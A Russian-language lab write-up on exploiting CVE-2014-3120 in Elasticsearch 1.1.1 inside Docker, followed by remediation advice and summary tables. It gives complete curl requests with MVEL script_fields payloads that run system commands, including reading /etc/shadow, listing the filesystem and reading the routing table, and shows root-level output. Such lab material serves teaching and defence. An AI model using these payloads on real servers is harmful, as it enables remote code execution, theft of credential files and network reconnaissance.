
Пошаговое лабораторное руководство, демонстрирующее эксплуатацию CVE-2014-3120 против Elasticsearch 1.1.1, охватывающее анализ уязвимости, RCE через MVEL-скриптинг и пост-эксплуатацию в среде Docker.
Начнём с того, что запущено в окружении. Выведем список всех активных контейнеров:
docker ps

Результат: Контейнер p1/lab10:latest запущен, наружу открыты 2 порта:
| Сопоставление портов | Протокол |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (требуется проверка) |
0.0.0.0:9300 → 9300/tcp | Неизвестно |
Первоначальное наблюдение: Порты 9200 и 9300 обычно известны как порты по умолчанию для Elasticsearch. Однако нельзя делать вывод только на основе номеров портов – многие другие службы могут привязываться к любым портам.
⇒ Обратимся напрямую к каждому порту через curl, чтобы проверить, какая служба фактически запущена.
curl -i http://192.168.3.137:9300/

Анализ ответа:
curl: (52) Empty reply from serverОценка: Сервер принял TCP-соединение (нет отказа в соединении), но не ответил по протоколу HTTP. Это соответствует поведению транспортного протокола Elasticsearch на порту 9300 – бинарного протокола для связи между узлами кластера, не HTTP.
⇒ Вывод: Порт 9300 использует бинарный протокол → нельзя использовать напрямую через curl/браузер. Переходим к проверке порта 9200 – порта HTTP REST API.
curl -i http://192.168.3.137:9200/

Анализ ответа:
Оценка поверхности атаки:

⇒ Вывод: Elasticsearch 1.1.1 включает динамическое скриптование по умолчанию – клиенты могут отправлять скрипты (MVEL-выражения) в поисковых запросах для выполнения на сервере. При отсутствии изолированной среды или надлежащей валидации злоумышленник может внедрить вредоносный скрипт для выполнения системных команд. Следующий шаг: проверить, действительно ли динамическое скриптование активно на цели.
Elasticsearch поддерживает функцию скриптования – клиенты могут отправлять скрипты (математические или логические выражения) внутри поисковых запросов, чтобы сервер выполнял их при обработке результатов. В Elasticsearch 1.x движком по умолчанию для этой функции является MVEL (MVFLEX Expression Language).
В версиях Elasticsearch до 1.2 динамическое скриптование включено по умолчанию (script.disable_dynamic: false). Это означает:
script_fields в API _search.java.lang.Runtime.getRuntime().exec() для выполнения системных команд.script_fieldsКогда отправляется поисковый запрос с script_fields, Elasticsearch:
_search.script_fields → находит script для выполнения.В Java наиболее распространённый способ выполнения системной команды:
Runtime.getRuntime().exec("command");
MVEL, как язык выражений с полным доступом к классам Java, позволяет вызвать это напрямую:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Пояснение каждой части:
⇒ Вывод: В Elasticsearch результат RCE возвращается непосредственно в ответе – не требуется перенаправление в файл и обратное чтение. Это делает эксплуатацию чище и быстрее для проверки.
После идентификации цели как Elasticsearch 1.1.1 следующий шаг – проверить, действительно ли динамическое скриптование включено.
CVE-2014-3120 использует тот факт, что Elasticsearch позволяет клиентам отправлять скрипты внутри запросов _search. Если скрипт выполняется сервером, злоумышленник может заменить безвредное выражение на полезную нагрузку, вызывающую Java Runtime для выполнения системных команд.
Сначала создадим тестовый документ, чтобы убедиться, что запрос вернёт хотя бы один результат. Если ни один документ не соответствует, script_fields не будет выполнен.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Затем обновим индекс:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Далее отправим запрос _search с script_fields, содержащим безвредное MVEL-выражение:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

Мы отправляем скрипт "1+1", и сервер возвращает результат 2. Это доказывает, что Elasticsearch не только получает запрос _search, но и выполняет динамический скрипт на стороне сервера.
⇒ Динамическое скриптование активно на цели.
Поскольку цель – Elasticsearch 1.1.1 (до версии 1.2), это соответствует условиям эксплуатации CVE-2014-3120: Elasticsearch до версии 1.2 включает динамическое скриптование по умолчанию, что позволяет удалённому злоумышленнику выполнять MVEL-выражения/Java-код через поисковый запрос.
Мы проверили, что script_fields выполняется Elasticsearch на стороне сервера с помощью безвредного выражения "1+1", вернувшего [2].
Это доказывает, что цель не только допускает стандартный поиск, но и позволяет клиентам отправлять MVEL-скрипт для оценки сервером во время обработки _search.
В CVE-2014-3120 критический риск заключается в том, что MVEL в Elasticsearch 1.1.1 может получать доступ к классам Java. Поэтому вместо отправки математического выражения типа "1+1" злоумышленник может отправить скрипт, вызывающий Java Runtime:
Runtime.getRuntime().exec("command")
Это стандартный Java API для создания нового процесса и выполнения команд в операционной системе.
_search API
→ script_fields
→ MVEL-выражение
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner читает stdout
→ результат возвращается в JSON-ответе
RCE-полезная нагрузка:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Разбор полезной нагрузки:
Результат:
Ответ возвращает поле fields.exploit, содержащее вывод команды id:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
Анализ:
Полезная нагрузка успешно вызвала Runtime.getRuntime().exec("id") через MVEL-скрипт внутри script_fields. Тот факт, что ответ возвращает вывод команды id, доказывает выполнение команды на стороне сервера.
Результат uid=0(root) gid=0(root) groups=0(root) указывает, что процесс Elasticsearch внутри контейнера работает с привилегиями root.
После подтверждения RCE необходимо проверить фактические привилегии, попытавшись прочитать конфиденциальные файлы:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Наблюдаемый результат:
Ответ возвращает содержимое файла /etc/shadow:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
Анализ:
Файл /etc/shadow – конфиденциальный системный файл в Linux, обычно доступный для чтения только пользователю root или процессам с эквивалентными привилегиями. На предыдущем шаге команда id вернула:
uid=0(root) gid=0(root) groups=0(root)
Данный шаг дополнительно подтверждает это фактическим поведением: RCE-полезная нагрузка успешно читает /etc/shadow.
⇒ Elasticsearch внутри контейнера работает с root-привилегиями.
⇒ Воздействие не ограничивается типичным выполнением команд, а представляет собой RCE с root-привилегиями внутри контейнера.
Примечание: root-привилегии здесь относятся к root внутри Docker-контейнера. Мы не можем сделать вывод о привилегиях root на хосте без доказательств привилегированного запуска контейнера, монтирования Docker-сокета или монтирования конфиденциальных томов хоста.
RCE подтверждено. Переходим к сбору информации о системе для оценки масштаба.
После подтверждения RCE с привилегиями root выполним команду ls -la / через MVEL-полезную нагрузку, чтобы изучить файловую систему цели:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Результат: Ответ возвращает содержимое каталога / в поле rootfs.
Анализ:
Тот факт, что вывод ls -la / появляется в JSON-ответе, доказывает, что команда была выполнена на цели через RCE. Такие файлы, как docker-entrypoint.sh, каталог elasticsearch и симлинк docker-java-home, указывают, что скомпрометированная среда – это контейнер, запускающий Elasticsearch.
⇒ Злоумышленник может просматривать файловую систему внутри контейнера с root-привилегиями.
Поскольку в контейнере нет бинарного файла /sbin/ifconfig, читаем /proc/net/route напрямую. Этот файл не требует внешних утилит и содержит таблицу маршрутизации контейнера.
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Анализ:
Результаты показывают, что контейнер имеет интерфейс eth0 и находится в сети Docker 172.19.0.0/16. Шлюз по умолчанию – 172.19.0.1.
Это доказывает, что контейнер имеет внутреннюю сетевую связность через мост Docker. Поскольку злоумышленник уже имеет RCE с root-привилегиями внутри контейнера, теоретически он может перейти к проверке других хостов/служб в той же сети Docker, если сетевые политики это позволяют.
Однако этот вывод доказывает лишь видимость сети на уровне маршрутизации, а не успешный pivoting. Для заключения о pivoting требуются дополнительные доказательства, такие как успешное сканирование другого хоста, подключение к внутренней службе или получение ресурсов из другой сети.
На основе доказательств, собранных в ходе анализа, цель работает под управлением Elasticsearch 1.1.1 на порту 9200. Эта версия предшествует 1.2, поэтому попадает в зону поражения CVE-2014-3120.
Уязвимость связана с тем, что в версиях до 1.2 Elasticsearch включает динамическое скриптование по умолчанию, что позволяет клиентам отправлять MVEL-скрипты через поисковые запросы. В этой лабораторной работе данная функция была подтверждена с помощью безвредного выражения "1+1", вернувшего результат [2].
Впоследствии MVEL-полезная нагрузка вызвала:
Runtime.getRuntime().exec("id")
Ответ вернул:
uid=0(root) gid=0(root) groups=0(root)
Это доказывает, что злоумышленник может выполнять системные команды через Elasticsearch. Кроме того, полезная нагрузка успешно прочитала /etc/shadow, подтверждая, что привилегии выполнения – root внутри контейнера.
1. Обновить Elasticsearch до более новой версии
Обновите Elasticsearch до версии >= 1.2.0 (как минимум) или, в идеале, до текущей поддерживаемой версии (8.x). Начиная с версии 1.2, динамическое скриптование отключено по умолчанию.
2. Немедленно отключить динамическое скриптование (если обновление невозможно)
Добавьте в elasticsearch.yml:
script.disable_dynamic: true
Перезапустите Elasticsearch после внесения изменения. Это полностью отключит возможность клиентов отправлять скрипты в поисковых запросах.
3. Не открывать REST API Elasticsearch для ненадёжных сетей
Версия 1.x не имеет встроенной аутентификации по умолчанию. Если необходимо открыть доступ, поместите Elasticsearch за обратный прокси-сервер с аутентификацией или привяжите только к 127.0.0.1.
4. Включить аутентификацию и шифрование
Современные версии Elasticsearch (7.x+) поддерживают встроенную безопасность (аутентификация, TLS). При обновлении включите функции безопасности:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. Ограничить доступ с помощью брандмауэра
Разрешите доступ к портам 9200 и 9300 только доверенным IP-адресам. Не открывайте их в интернет или во всю внутреннюю сеть.
6. Запускать Elasticsearch от имени пользователя с низкими привилегиями
Не запускайте Elasticsearch от пользователя root. Создайте выделенного пользователя elasticsearch с минимальными привилегиями. Это официальная рекомендация.
| Поле | Значение | Смысл |
|---|
name | "Rage" | Имя узла Elasticsearch (случайное имя персонажа Marvel – поведение по умолчанию старых версий ES) |
version.number | "1.1.1" | Очень старая версия – выпущена в апреле 2014 г. |
build_timestamp | "2014-04-16T14:27:12Z" | Собрана в 2014 г. |
lucene_version | "4.7" | Lucene 4.7 – старый движок индексации |
tagline | "You Know, for Search" | Характерная фраза-подпись Elasticsearch |
| Часть | Пояснение |
|---|
import java.io.* | Импорт классов ввода-вывода Java |
Runtime.getRuntime() | Получение экземпляра Java Runtime |
.exec("id") | Выполнение команды оболочки id |
.getInputStream() | Получение потока вывода процесса |
new Scanner(...).useDelimiter("\\A").next() | Чтение всего вывода в виде строки |
| Часть | Назначение |
|---|
"size": 1 | Ограничивает результат одним документом |
"query" → "match_all" | Соответствует всем документам (требуется хотя бы один документ в индексе) |
"script_fields" → "exploit" | Определяет вычисляемое поле, выполняющее MVEL-скрипт |
"script": "import java.io.*; ..." | MVEL-выражение, которое выполняет команду id и возвращает вывод |
| Критерий | Оценка | Детали |
|---|
| CVE | CVE-2014-3120 | RCE через динамическое скриптование Elasticsearch |
| Затрагиваемая служба | Elasticsearch | REST API, открытый на порту 9200 |
| Версия | 1.1.1 | До версии 1.2, входит в уязвимые версии |
| Аутентификация | Не требуется в лабораторной работе | REST API отвечает напрямую, без запроса учётных данных |
| Условия эксплуатации | Динамическое скриптование включено | Подтверждено скриптом "1+1", вернувшим [2] |
| Полученные привилегии | root в контейнере | id возвращает uid=0(root) |
| Воздействие | Очень высокое | RCE, чтение конфиденциальных файлов, просмотр файловой системы, сбор данных о пользователях/сети |
| Область | Контейнер | Пока нет доказательств компрометации хоста |
| Pivoting | Потенциал для дальнейшей проверки | Контейнер имеет маршрут через eth0 в сети Docker 172.19.0.0/16 |